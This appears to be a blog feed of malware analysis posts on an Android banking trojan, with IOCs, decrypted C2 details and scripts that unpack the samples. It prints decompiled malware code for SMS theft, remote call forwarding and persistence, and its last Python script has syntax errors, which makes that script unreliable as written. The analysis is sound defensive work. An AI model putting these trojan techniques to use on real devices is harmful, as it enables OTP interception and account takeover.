<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/f5216aef-db5e-432c-b774-8f4d26f19698.png" alt="" style="display:block;margin:0 auto" />

<p>The DMARC record of the co-hosted domain lists <code>dmarc_rua@onsecureserver.net</code> as the aggregate report address. The domain itself was registered on the 28th of June 2026.</p>
<p>The Chinese-language panel UI, combined with the English and Chinese social engineering page served to victims and the <code>catAllViewSwitch</code> payload covering Japanese and Latin American targets, points to a Chinese-speaking threat actor operating commercial-grade Android banking malware infrastructure on a global targeting mandate.</p>
<hr />
<p>At the end of it all, none of the technical sophistication matters as much as the kiss mark icon. The entire chain: the overlays, the interaction logger, the accessibility automation navigating through OEM settings menu in more than 40 languages, all sit behind a single moment when someone sees an icon which catches their attention and taps on it. The malware doesn't have to be too clever if the lure is good enough. KYSS is a reminder that the defences are always only as strong as the weakest link.</p>
<hr />
<p><strong>Update: IOCs and Additional Infrastructure</strong></p>
<p><em>Following publication, Rajhans P pointed to a FOFA fingerprint querying V2 Panel by icon hash and title, which returns 48 indexed instances. This confirms that V2 Panel is a commercial platform with multiple operators, not infrastructure purpose-built for this campaign alone.</em></p>
<p>Since the C2 infrastructure is now publicly indexed, full IOCs are being published below.</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>SHA-256</td>
<td><code>4af310165416dffbfa5468bfc2a4ab4d050e32aca3f239c1284c46cd829a16e8</code></td>
</tr>
<tr>
<td>MD5</td>
<td><code>e231cfce40afb884935035bd4c17faf9</code></td>
</tr>
<tr>
<td>SHA-1</td>
<td><code>e13904d0b76b1c388428895ca570c11ad245096d</code></td>
</tr>
<tr>
<td>Package Name</td>
<td><code>com.cmn0n5.qhtgr.b7d8.cj75</code></td>
</tr>
<tr>
<td>AES Key</td>
<td><code>0623U25KTT3YM8P9</code></td>
</tr>
<tr>
<td>C2 Domain</td>
<td><code>datouyu86[.]com</code></td>
</tr>
<tr>
<td>C2 Panel Domain</td>
<td><code>cctvv2[.]com</code></td>
</tr>
<tr>
<td>C2 IP (current)</td>
<td><code>103[.]106[.]229[.]158</code></td>
</tr>
<tr>
<td>Historical IP</td>
<td><code>13[.]127[.]80[.]127</code></td>
</tr>
<tr>
<td>Historical IP</td>
<td><code>43[.]210[.]157[.]151</code></td>
</tr>
<tr>
<td>DMARC Report Address</td>
<td><a href="mailto:dmarc_rua@onsecureserver.net"><code>dmarc_rua@onsecureserver.net</code></a></td>
</tr>
</tbody></table>
<p><strong>Historical SSL Thumbprints (SHA-1):</strong></p>
<table>
<thead>
<tr>
<th>First Seen</th>
<th>Subject</th>
<th>Thumbprint</th>
</tr>
</thead>
<tbody><tr>
<td>2026-07-04</td>
<td><a href="http://cctv2.com"><code>cctv2.com</code></a></td>
<td><code>0ad58517ce0cf14faca8d1bbcf2c8052d4145589</code></td>
</tr>
<tr>
<td>2026-06-07</td>
<td><a href="http://www.datouyu86.com"><code>www.datouyu86.com</code></a></td>
<td><code>cb90cecce535013654b431384ad5f1947a342de7</code></td>
</tr>
<tr>
<td>2026-05-17</td>
<td><a href="http://www.datouyu86.com"><code>www.datouyu86.com</code></a></td>
<td><code>c857aa15bc916e6a7f765861b03aadeb59f3dd4b</code></td>
</tr>
<tr>
<td>2026-05-06</td>
<td><a href="http://www.datouyu86.com"><code>www.datouyu86.com</code></a></td>
<td><code>a8f98e5508d8039ac56b792916c8fb9c28c90b79</code></td>
</tr>
<tr>
<td>2026-05-06</td>
<td><a href="http://www.datouyu86.com"><code>www.datouyu86.com</code></a></td>
<td><code>c470ec938c523a36ec90e2cff4e468e3465840f3</code></td>
</tr>
</tbody></table>
<p><em>Detection count has also increased to 17/91 since publication.</em></p>
]]></content:encoded></item><item><title><![CDATA[The Attacker's Discipline]]></title><description><![CDATA[There is a specific kind of cognitive dissonance that comes from reverse engineering a malware sample in one terminal while your own app's backend runs in another.
I spent the better part of the last ]]></description><link>https://blog.realrudrap.dev/the-attacker-s-discipline</link><guid isPermaLink="true">https://blog.realrudrap.dev/the-attacker-s-discipline</guid><category><![CDATA[observability]]></category><category><![CDATA[Malware]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[SRE]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Tue, 14 Jul 2026 05:30:25 GMT</pubDate><content:encoded><![CDATA[<p>There is a specific kind of cognitive dissonance that comes from reverse engineering a malware sample in one terminal while your own app's backend runs in another.</p>
<p>I spent the better part of the last few weeks doing exactly that. During the day I was shipping features and deciding effective logging strategies for Beacon, an attendance management app that I am building. In the evenings, I was pulling apart Android Malware sample from a smishing campaign, tracing through obfuscated DEX bytecode trying to understand what the app did.</p>
<p>At some point, the two started bleeding into each other; not because the problems are similar on the surface, but because the discipline underneath them is identical. The malware authors were solving similar engineering problems as me, they just had the opposite intention.</p>
<hr />
<h2>What the Malware Authors got right</h2>
<p>A striking observation from reversing a multi-stage malware sample was that it doesn't simply run, it checks first.</p>
<p>Before any payload logic executes, there's an environment validation routine. Is this a real device or an emulator? Is there a debugger attached? Are there any hooking frameworks like Frida or Xposed present in the process? Each check contributed to a score, which on exceeding a certain threshold causes the payload to abort cleanly.</p>
<p>This isn't paranoia. The authors know that their payload will land on thousands of devices across a wide range of devices. They do all they can to delay an analyst from identifying how the app runs. Nearly all the methods performing these checks had no logging at all.</p>
<p>On the other hand, the functions executing the core logic of the malware was fairly sprinkled with logging statements. The malware was built to function correctly on a wide range of devices, with certain code branches for devices running even on Android 7.</p>
<p>The functions themselves were cleanly separated with SRP, ensuring that result of every operation could be checked by the orchestrating function while also preserving the modularity of the code.</p>
<p>The authors had also added background services which randomly ran to check if their installed listeners and services are still running, and re-starting them if not so.</p>
<p>By the time I mapped this out, I had a grudging appreciation for the craft. These are real engineering decisions made deliberately, in service of a clear goal. The goal is malicious. The decisions. though are not sloppy.</p>
<hr />
<h2>The SRE mirror</h2>
<p>I do not have production incidents in my history. I have not been paged at 3am, I have not stared at a spiking dashboard while a service falls over. But as I was mapping out the malware's anti-observability decisions, I got curious about what the discipline looked like from the other side, the people whose entire job is reconstructing what went wrong.</p>
<p>It turns out the vocuablury is different, but the problem is identical.</p>
<p>SRE teams usually work off three signals. Metrics tell you something is wrong. Logs tell you what a specific service did at a specific moment. Traces tell you where in a requests path things broke down. None of these alone tell anything useful. A CPU spike with no trace showing which request caused it is just a number. Stitching the three together under pressure, while things are still on fire is where the actual works happens.</p>
<p>There is also a fourth signal that apparently not enough teams track properly: events. Deploys, config changes, feature flags being flipped etc. Most teams let this live scattered across Slack messages and CI logs with nothing tying it to anything else. Almost every incident starts with the same question: what changed right before this happened? Events are very useful to answer these questions.</p>
<p>The parallel to what I was looking at was hard to miss. The malware authors had built their payload to generate as few events as possible. Randomized polling intervals so the heartbeat does not look mechanical. No exception logging in the anti-analysis layer. Clean aborts with no trace when the environment check fails. They were engineering against observability the same way SRE practice engineers for it.</p>
<p>AI helped me on the malware side in a specific, limited way. Reasoning through obfuscated code across dozens of DEX files, surfacing patterns across classes, cross-referencing decrypted strings. Work that would have taken much longer got done faster. But every conclusion I arrived at was still mine to make. AI cleared the ground. The jump was still manual.</p>
<p>From what I read, the same holds on the SRE side. AI in incident response is good at retrieval: digging through past incidents, correlating alerts, surfacing similar failures. The judgment call, deciding what the evidence means, remains on a person. The honest version of the AI claim is that it compresses what one person can reconstruct alone. It does not replace the reconstruction.</p>
<hr />
<h2>What I'm stealing for Beacon</h2>
<p>Beacon is not a complex system. It is an attendance and workforce management app for remote-field workers, a Go backend, an Android client, a web admin panel. The failure modes are not dramatic. But they are real, and I have already been caught by a few of them.</p>
<p>The events signal is the one that stuck with me most. When something broke in Beacon during development, my first instinct was always to go look at logs. Logs told me what happened. They almost never told me what changed. I had no systematic way of tracking the things that actually cause most failures: a config value I updated, a dependency I bumped, a background job I modified. That information lived in my head or in a commit message I had to go dig up.</p>
<p>The malware authors were deliberate about the opposite. They knew exactly what their payload was doing at every point, because they designed it that way. Every action was intentional and accounted for. I was trying to reconstruct intent from fragments. I do not want to be in that position with my own system.</p>
<p>The second thing is graceful degradation. The malware was built to fail quietly and contained. A failed check did not crash the app. It returned a result, the orchestrating function handled it, and execution continued or aborted cleanly depending on the score. No noise, no collateral damage.</p>
<p>Beacon does not do this consistently yet. Some failure paths are handled well. Others surface as unhandled exceptions that tell me something broke but not what, or why, or what state the system was in when it did. That is the next thing I am fixing.</p>
<p>The irony is not lost on me. I learned more about building observable, resilient systems from reversing malware than from any SRE playbook. The authors were not trying to teach me anything. They were trying to avoid being understood. It worked, for a while. But the discipline they applied to staying hidden is the same discipline I want to apply to staying legible</p>
<hr />
<h3>A note</h3>
<p>This article started as a conversation with Ayush More from <a href="https://sherlocks.ai">Sherlocks AI</a>, who reached out after reading some of my earlier writing. When I pitched this angle, he put together a genuinely useful set of notes on how SRE teams approach observability and incident reconstruction, which filled in the other side of the parallel I was trying to draw. If the SRE mirror section holds up, a good part of the credit goes to him for grounding it in something real. Go check out what they are building at Sherlocks AI if incident response tooling is relevant to your world.</p>
]]></content:encoded></item><item><title><![CDATA[I Found the Live C2 Server Controlling Thousands of Infected Devices]]></title><description><![CDATA[If you've been following along, here's where we are: a spam SMS dropped an APK, the APK was a dropper that XOR-decrypted a multi-DEX container, HMAC-validated it, AES-decrypted it, and loaded the resu]]></description><link>https://blog.realrudrap.dev/i-found-the-live-c2-server-controlling-thousands-of-infected-devices</link><guid isPermaLink="true">https://blog.realrudrap.dev/i-found-the-live-c2-server-controlling-thousands-of-infected-devices</guid><category><![CDATA[Android]]></category><category><![CDATA[android-malware]]></category><category><![CDATA[Malware]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[Trojan]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[jadx]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Wed, 08 Jul 2026 05:00:00 GMT</pubDate><content:encoded><![CDATA[<p>If you've been following along, here's where we are: a spam SMS dropped an APK, the APK was a dropper that XOR-decrypted a multi-DEX container, HMAC-validated it, AES-decrypted it, and loaded the resulting DEX files directly into memory. Stage 2 was a fake media player with a Flask C2 in Germany, a three-step download chain, and a password-protected ZIP containing Stage 3. Stage 3 was structurally identical to Stage 1, same dropper-as-a-service skeleton, and it extracted Stage 4.</p>
<p>Stage 4 is what I'm going to pick apart today. It's the final boss, and it's the one that actually does the damage. It also had a surprise waiting for me that I didn't expect to find.</p>
<hr />
<h2>Plain class names, new cipher for the strings</h2>
<p>The first thing that surprised me when I opened Stage 4 in JADX was how readable the class names were. After three stages of obfuscated everything, I was expecting more of the same. Instead:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/09cad221-bd74-4c16-b92a-ffbca876a388.png" alt="" style="display:block;margin:0 auto" />

<p><code>AdminInfo</code>, <code>SmsHelper</code>, <code>TelegramBotUtils</code>, <code>callForwardingUtility</code> more or less announce what they do. <code>WallpaperUploader</code> is the exception; whatever it was supposed to do, it's empty. More on that later.</p>
<p>The presence of <code>SketchApplication</code>, <code>SketchLogger</code>, and <code>SketchwareUtil</code> is the other thing worth noting upfront. Sketchware is a visual drag-and-drop editor for building Android apps. Someone built a banking trojan in a drag-and-drop IDE. I'll let that sink in.</p>
<hr />
<h2>Cracking the new obfuscation: StringFog</h2>
<p>The class names were readable, but the strings inside them weren't. The author switched obfuscation libraries between the loader stages and Stage 4. This time it's <a href="https://github.com/MegatronKing/StringFog-Sample1"><code>StringFog</code></a>, an off-the-shelf library that encrypts string literals at compile time and decrypts them at runtime.</p>
<p>I noticed this the moment I opened <code>AdminInfo</code>. Instead of raw string literals, every string was a call into <code>StringFogImpl</code>. Opening that class gave me the implementation.</p>
<p>The outer layer is a <code>short[]</code> array (call it <code>f928short</code>) with thousands of entries. Each string is encoded as an offset, length, and XOR key into that array. Decoding a short-array entry gives you a base64 ciphertext. That ciphertext is then passed to the inner StringFog XOR function, which decodes the base64 and XORs each byte against the key "UTF-8" (yes, the literal string UTF-8, recovered from <code>StringFogImpl</code>'s own <code>f928short</code>).</p>
<p>Two layers, both XOR, different keys. The chain is: short_decryptor(offset, length, xor_key) produces a base64 ciphertext, which then goes into stringfog_decrypt(ciphertext, "UTF-8") to produce plaintext.</p>
<p>I updated my decryption script to chain both:</p>
<pre><code class="language-python">import base64
import sys

short_array = [
    # redacted for brevity
]

def xor(byte_array, string):
    result = bytearray()
    for i in range(len(byte_array)):
        result.append(byte_array[i] ^ ord(string[i % len(string)]))
    return result

def stringfog_decrypt(encrypted_string, stringfog_key):
    base_64_bytes = base64.b64decode(encrypted_string)
    decrypted_bytes = xor(base_64_bytes, stringfog_key)
    return decrypted_bytes.decode("utf-8")

def stringfog_decrypt_wrapper(encrypted_string):
    stringfog_key = "UTF-8"
    return stringfog_decrypt(encrypted_string, stringfog_key)

def short_decryptor(offset, length, xor_key):
    decrypted_bytes = bytearray()
    for i in range(offset, offset + length):
        decrypted_bytes.append(short_array[i] ^ xor_key)
    return decrypted_bytes.decode("utf-8")

if __name__ == "__main__":
    offset = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])
    decrypted_string = short_decryptor(offset, length, xor_key)
    print(stringfog_decrypt_wrapper(decrypted_string))
</code></pre>
<p>Instead of hardcoding values and rerunning the script each time, I now pass the offset, length, and XOR key as command-line arguments and decrypt a whole class worth of strings in one sitting. From here on, all strings in this writeup are their decrypted plaintext values.</p>
<hr />
<h2>The account-takeover engine</h2>
<h3><code>AdminInfo</code>: the config reader</h3>
<p><code>AdminInfo</code> reads a JSON file bundled in the app's raw resources and extracts Telegram bot tokens and chat IDs from it. This is the actor's operator config, the contact details for wherever exfiltrated data gets sent.</p>
<p>From within the bundled file, I found, in plaintext:</p>
<pre><code class="language-json">{
  "chatIDs": ["5196&lt;REDACTED&gt;"],
  "tokens": ["6751695148:AAHEY&lt;REDACTED&gt;"],
  "workSuccess": 1
}
</code></pre>
<p>The HTML page embedded in the APK's resources told the same story. It masquerades as a legitimate eChallan payment portal: Government of India emblem, Ministry of Road Transport branding, the works.</p>
<p>The flow is: victim enters their full name, mobile number, mother's name, and date of birth (that last pair being classic forgot-password security question answers)</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/8e196a05-6e1d-44ec-9ddc-8b8c8b1cc606.png" alt="" style="display:block;margin:0 auto" />

<p>Then the user proceeds to a fake Aadhaar and PAN verification step, is shown a ₹1 payment screen with a mocked UPI interface, enters their UPI PIN, and finally sees a "Transaction Error."</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/37824cd3-e168-41b3-a621-4e6db4632f47.png" alt="" style="display:block;margin:0 auto" />

<p>After the error, they're prompted to enter their card details.All of this is exfiltrated to a hardcoded Telegram bot in the page's JavaScript.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/3e07ef0a-bead-4bd3-8540-147d2f6a917b.png" alt="" style="display:block;margin:0 auto" />

<p>The "Challan" is for Re. 1. The ask is your Aadhaar, PAN, UPI PIN, and card number.</p>
<h3><code>TelegramBotUtils</code>: one-way exfil</h3>
<p><code>TelegramBotUtils</code> handles the Telegram side of things. It has all the methods you'd expect for sending messages and device info to a bot, and notably none for receiving. There's no polling, no webhook handler in this class. Telegram is outbound-only here. Commands come from somewhere else entirely.</p>
<h3><code>SmsReceiver</code> and <code>SMSRetriever</code>: the OTP siphon</h3>
<p><code>SmsReceiver</code> registers for two intents: incoming SMS and outgoing SMS sent. When either fires, it logs the sender, message body, and timestamp to Firebase, and also conditionally forwards the message to a number stored in <code>SharedPreferences</code> if the <code>isSmsForward</code> flag is set.</p>
<p><code>SMSRetriever</code>is the proactive version. On initialization, it queries the SMS inbox directly, up to 50 messages, filtered against a list of about 29 keywords covering banking terms, OTP-related strings, and financial service names. If a message matches, it gets pushed to Firebase. This is how the actor harvests existing OTPs and balance notifications even before the victim receives a new one.</p>
<h3><code>callForwardingUtility</code>: USSD based call-forwarding</h3>
<p><code>callForwardingUtility</code> is more interesting than I initially expected. I was anticipating a single USSD call to set forwarding and that's it. The actual code is a full three-method interface:</p>
<pre><code class="language-java">public boolean forwardCall(String str, int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("**21*" + str + "#", i);
    return true;
}

public boolean deactivateCallForwarding(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("##21#", i);
    return true;
}

public boolean isCallForwardingActive(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("*#21#", i);
    return true;
}
</code></pre>
<p><code>*21#</code> is the GSM MMI code for unconditional call forwarding. <code>##21#</code> deactivates it. <code>*#21#</code> queries whether it's currently active. The actor isn't just blindly enabling forwarding and walking away; they can check status and toggle it on and off remotely via the Firebase C2 channel. This is deliberate operational control over a victim's phone line.</p>
<p>It's a silent way of taking over calls without a notification or UI.</p>
<p>Combined with SMS interception, this gives the actor full control of two-factor authentication: OTPs via SMS go to Firebase, voice OTPs go to the forwarded number. Every account recovery path is compromised at once.</p>
<hr />
<h2>The main C2 infrastructure: Firebase (and what I found there)</h2>
<p>This is the part I want to spend more time on, because finding an active C2 server with real victim data in it is not something I expected from what started as a curiosity-driven triage.</p>
<p><code>BatteryLevelReceiver</code> was what tipped me off first. It waits for battery level changes and writes the current level to Firebase. That's a passive heartbeat: a device that just updated its battery level is currently powered on and active. The actor can poll Firebase and get a live map of which infected devices are online right now.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/643a0e18-1cc7-456f-b76d-3a4e2fc65ed1.png" alt="" style="display:block;margin:0 auto" />

<p>The Firebase credentials (database URL, app ID, API key) are not in the DEX strings. I was used to finding them in <code>strings.xml</code> in the res folder, but they were in <code>res/values/strings.xml</code> inside the decoded <code>resources.arsc</code>. JADX doesn't expose the unpacked resource strings; I had to run <code>apktool d</code> on the APK to get them. I'm not publishing the project identifier here since takedown is pending.</p>
<p><code>MyService</code> is where the full exfiltration routine lives. Its <code>onCreate</code> fingerprints the device (android ID, model, Android version, SIM info, rooted status), pushes that fingerprint to Firebase under <code>/clients/&lt;device-id&gt;</code>, registers <code>BatteryLevelReceiver</code>, runs <code>SMSRetriever</code> to harvest the inbox, and hands off to <code>callForwardingUtility</code>. It then creates a persistent foreground notification and schedules a repeating alarm every 5 minutes to check if the service is still running.</p>
<pre><code class="language-java">public class MyService extends Service {
/* Redacted for brevity */
 @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        this.executorService = Executors.newSingleThreadExecutor();
        try {
            initializeFirebase(this);
            this.deviceInfoUtil = new DeviceInfoUtil(this);
            this.prefs = new SharedPrefManager(this);
            this.smsRetriever = new SMSRetriever(this);
            this.callUtil = new callForwardingUtility(this);
            this.deviceID = Settings.Secure.getString(getContentResolver(), "android_id");
            this.batteryLevelReceiver = new BatteryLevelReceiver();
            registerReceiver(this.batteryLevelReceiver, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
            checkAndRequestPermissions();
            createNotificationChannel();
            startForeground(1, buildPersistentNotification());
            scheduleAlarm(this);
            Log.d(TAG, StringFogImpl.decrypt(C0156.m615(f1692short, 2476, 40, 1746)));
        } catch (Exception e) {
            Log.e(TAG, StringFogImpl.decrypt(C0270.m1053(f1692short, 2516, 36, 878)), e);
            stopSelf();
        }
    }
/* Redacted for brevity */
}
</code></pre>
<p>The inbound command channel is a <code>ValueEventListener</code> on <code>/clients/&lt;device-id&gt;/webhookEvents</code>. JADX didn't fully decompile the handler, but the decrypted strings inside it tell enough of the story:</p>
<pre><code class="language-plaintext">checkLiveness
processResponseData
callForward
CallForwardingNum
Invalid callForward data: 'to' field is null or empty
Incomplete callForward fields. No callForward data found.
smsForward
</code></pre>
<p>The actor pushes a command to a device's <code>webhookEvent</code> node in Firebase, and <code>MyService</code> picks it up via the realtime listener. Commands configure call forwarding (passing through to <code>callForwardingUtility</code>), toggle SMS forwarding, and ping devices to check liveness. Firebase is doing double duty: it's both the data exfiltration sink and the command-and-control channel, bidirectional over a single Realtime Database instance.</p>
<h3>What I found when I looked</h3>
<p>I was prodding the Firebase endpoints to check if the infrastructure was still live. It was. Very much so, with records as recent as July 3rd.</p>
<p>Using the Firebase shallow query API, I pulled just the schema of the stored data without fetching actual values:</p>
<pre><code class="language-json">{
  "dateTime": true,
  "id": true,
  "message": true,
  "sender": true,
  "type": true
}
</code></pre>
<pre><code class="language-json">{
  "battery": true,
  "status": true
}
</code></pre>
<p>The device records from <code>MyService</code>'s init code also carry <code>model</code>, <code>androidVersion</code>, <code>android_id</code>, <code>isRooted</code>, <code>serviceProvider</code>, and <code>selfNumber</code>, though the schema is sparse across records since Firebase doesn't enforce one.</p>
<p>As of July 8th 2026: 3,967 device registrations. 4,900 exfiltrated SMS records.</p>
<p>I stopped there. Pulling actual records would have meant reading real victim data, and that's not something I was going to do. I reported to CERT-In, filed a Google Cloud abuse report, and reported the matter to the I4C. The original phishing link was taken down, while the Firebase instance is a matter for Google and the relevant authorities now.</p>
<hr />
<h3>Persistence and stealth</h3>
<p>Three receivers make sure <code>MyService</code> never stays dead for long.</p>
<p><code>BootReceiver</code> fires on <code>BOOT_COMPLETED</code> and starts <code>MyService</code> as a foreground service on Android 8+, with a fallback <code>startService</code> call for older versions.</p>
<p><code>MultiEventReceiver</code> is the belt-and-suspenders version. It listens for 16 different system events (connectivity changes, power state transitions, time zone changes, and more) and restarts <code>MyService</code> if it's not already running. It also re-arms the 5-minute watchdog alarm.</p>
<p><code>AlarmReceiver</code> handles those watchdog alarms. Every 5 minutes, it checks if the service is running and starts it if not.</p>
<p><code>DebugActivity</code> is worth a separate mention. It maps internal crash strings to friendly <code>AlertDialog</code> messages, so if something goes wrong on a victim's device, they see a polished error dialog instead of an Android crash report. It's a surprising customer experience improvement for a banking trojan.</p>
<hr />
<h3>Signs of a rushed build</h3>
<p>Two things stood out as unfinished.</p>
<p><code>WallpaperUploader</code> is empty. The class exists, it's referenced, and it does nothing. Whatever capability was planned there, it wasn't implemented.</p>
<p><code>C0273</code> is a cipher class with a fundamental bug. The encryption key is generated with Math.random(), which in Java is not cryptographically random and is not seeded or stored anywhere. Every call produces a different key with no way to reverse the operation. The class is non-functional as written.</p>
<p>Neither of these diminish what the rest of the app does. But together they suggest this was shipped under time pressure.</p>
<hr />
<h2>The full chain, end to end</h2>
<pre><code class="language-plaintext">SMS phishing
  -&gt; echallan-traffic.live/IN (down as of July 5)
  -&gt; ca8818e7_RT0-eChallan.apk (com.uptodown.installer)
  -&gt; Stage 1: XOR + HMAC-SHA256/dg_hmac_v2 + AES-CBC -&gt; multi-DEX loader
  -&gt; Stage 2: com.stream.media.player
             Flask C2 @ 31.77.168.247:5001 (Germany)
             /prepare -&gt; /status -&gt; /fetch
             AES-256 ZIP @ V3nd3tt@S3cur3Z1p!
  -&gt; Stage 3: app.loitx.aknmk (dropper-as-a-service SDK, Stage 1 clone)
  -&gt; Stage 4: dApp.binance.Trading.Signals
             65 DEX, ~13MB, Sketchware build
             StringFog obfuscation (short[] XOR -&gt; base64 -&gt; UTF-8 XOR)
             Firebase RTDB: bidirectional C2 + exfil sink (pending takedown)
             Telegram exfil: 6751695148:AAHEY&lt;REDACTED&gt;
             HTML phishing page (Aadhaar, PAN, UPI PIN, card details)
             SMS interception + inbox harvest (50 msgs, 29 keywords)
             Call forwarding via **21*&lt;number&gt;# with remote toggle
</code></pre>
<hr />
<h2>IOCs</h2>
<pre><code class="language-plaintext"># Stage 4 package
Package:              dApp.binance.Trading.Signals
Build tool:           Sketchware
Obfuscation:          megatronking/StringFog
StringFog key:        UTF-8

# Firebase (project identifier withheld pending takedown)
DB path (devices):    /clients/&lt;device-id&gt;/
DB path (commands):   /clients/&lt;device-id&gt;/webhookEvent
DB path (SMS):        /messages/&lt;device-id&gt;/&lt;timestamp&gt;/

# Telegram (Stage 4 AdminInfo)
Token:                6751695148:AAHE&lt;REDACTED&gt;
Chat ID:              5196&lt;REDACTED&gt; (individual)

# Telegram (phishing page HTML)
Token:                8614832729:AAFu-&lt;REDACTED&gt;
Chat ID:              -10038&lt;REDACTED&gt; (group)
</code></pre>
<p>If you got an SMS about an outstanding RTO challan with a download link, report it at <a href="https://cybercrime.gov.in">cybercrime.gov.in</a>.</p>
]]></content:encoded></item><item><title><![CDATA[The Media Player that wasn't]]></title><description><![CDATA[Continuing from the first part of the series, where I left off with the DEX file from r_4dfb.bin, it claimed to be a media player. Spoiler alert, it wasn't, and it never was

Cracking the container
He]]></description><link>https://blog.realrudrap.dev/the-media-player-that-wasn-t</link><guid isPermaLink="true">https://blog.realrudrap.dev/the-media-player-that-wasn-t</guid><category><![CDATA[Android]]></category><category><![CDATA[Malware]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[infostealer]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Fri, 26 Jun 2026 12:12:30 GMT</pubDate><content:encoded><![CDATA[<p>Continuing from the first part of the series, where I left off with the DEX file from <code>r_4dfb.bin</code>, it claimed to be a media player. Spoiler alert, it wasn't, and it never was</p>
<hr />
<h2>Cracking the container</h2>
<p>Here's a brief recap of the elaborate integrity-check and decryption routine of the payload as executed by the app.</p>
<p>The app first XOR'd the binary blob from the app assets with a hardcoded key, following which it handed off control to a method which first constructed a HMAC key using a hardcoded byte array, and a hardcoded salt. Upon passing the integrity check, the payload was decrypted with AES-CBC, and the resulting plaintext was checked to be a multi-DEX container.</p>
<p>Here's a python script which I wrote to emulate the same routine</p>
<pre><code class="language-python">import hashlib
import hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
import sys
import os

#---------------------------------------------------
# Key material directly from the decompiled APK
xor_java_key = [108, 41, 58, 17, -66, 107, -18, 80, 127, 9, -123, 127, 101, -41, 23, 108]
seed_java_key = [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
iv_java = [110, -34, 48, 14, -9, -11, 10, 74, -39, -83, 117, 47, 20, 49, -106, -117]

# Convert from Java signed bytes to Python unsigned bytes
XOR_KEY  = bytes(b &amp; 0xFF for b in xor_java_key)
SEED_KEY = bytes(b &amp; 0xFF for b in seed_java_key)
AES_IV   = bytes(b &amp; 0xFF for b in iv_java)

#---------------------------------------------------

# Stage 1: XOR decrypt
def xor_decrypt(data: bytes) -&gt; bytes:
	return bytes(data[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(len(data)))
	
#---------------------------------------------------
# Stage 2: HMAC verification
def compute_derived_key(key: bytes)-&gt;bytes:
	h = hashlib.sha256()
	h.update(key)
	h.update(b"dg_hmac_v2")
	return h.digest()
	
def validate_hmac(data: bytes) -&gt; bytes:
    if len(data) &lt; 33:
        raise RuntimeError("payload too short (&lt;33 bytes)")
    expected_sig = data[:32]
    payload      = data[32:]
    derived      = compute_derived_key(SEED_KEY)
    computed     = hmac.new(derived, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(computed, expected_sig):
        raise RuntimeError("HMAC validation failed")
    return payload
    
#---------------------------------------------------
# Stage 3: AES-CBC decrypt
def aes_decrypt(payload: bytes)-&gt; bytes:
	cipher = AES.new(SEED_KEY, AES.MODE_CBC, AES_IV)
	return unpad(cipher.decrypt(payload), AES.block_size)
	
#---------------------------------------------------
# Stage 4: multi-DEX container validation
def bytes_to_int_le(data:bytes,offset:int)-&gt;int:
	return struct.unpack_from("&lt;I", data, offset)[0]
	

def is_valid_multidex_container(data: bytes) -&gt; bool:
    if not data or len(data) &lt; 8:
        return False
    dex_count = bytes_to_int_le(data, 0)
    if dex_count &lt;= 0 or dex_count &gt; 100:
        return False
    offset = 4
    for i in range(dex_count):
        payload_offset = offset + 4
        if payload_offset &gt; len(data):
            return False
        dex_size = bytes_to_int_le(data, offset)
        if dex_size &lt;= 0 or dex_size &gt; len(data) - payload_offset:
            return False
        # check dex\n magic
        if data[payload_offset:payload_offset+4] != b"dex\n":
            return False
        offset = payload_offset + dex_size
    return True
    
#---------------------------------------------------
# Stage 5: extract individual DEX files

def extract_dex_files(data: bytes, out_dir: str) -&gt; int:
    dex_count = bytes_to_int_le(data, 0)
    offset = 4
    os.makedirs(out_dir, exist_ok=True)
    for i in range(dex_count):
        dex_size = bytes_to_int_le(data, offset)
        payload_offset = offset + 4
        dex_data = data[payload_offset:payload_offset + dex_size]
        out_path = os.path.join(out_dir, f"classes{i+1}.dex")
        with open(out_path, "wb") as f:
            f.write(dex_data)
        print(f"  [{i+1}/{dex_count}] {out_path}  ({dex_size:,} bytes)")
        offset = payload_offset + dex_size
    return dex_count
    
#---------------------------------------------------
# Main 

def main()
	input_file = sys.argv[1] if len(sys.argv) &gt; 1 else "r_4dfb.bin"
    out_dir    = sys.argv[2] if len(sys.argv) &gt; 2 else "extracted_dex"
    
    with open(input_file, "rb") as f:
	    raw = f.read()
	print("Stage 1: XOR decrypt")
	xor_decrypted = xor_decrypt(raw)
	
	print("Stage 2: HMAC-SHA256 verify")
	hmac_payload = validate_hmac(xor_decrypted)
	print("HMAC ok")
	
	print("Stage 3: AES-CBC decrypt")
	decrypted = aes_decrypt(hmac_payload)
	print("Decryption ok")
	
	print("Stage 4: multi-DEX container validation")
	if not is_valid_multidex_container(decrypted):
		raise RuntimeError("invalid multi-DEX container")
	dex_count = bytes_to_int_le(decrypted, 0)
	print(f"{dex_count} valid DEX file(s) found")
	
	print("Stage 5: Extracting DEX files")
	count = extract_dex_files(decrypted, out_dir)
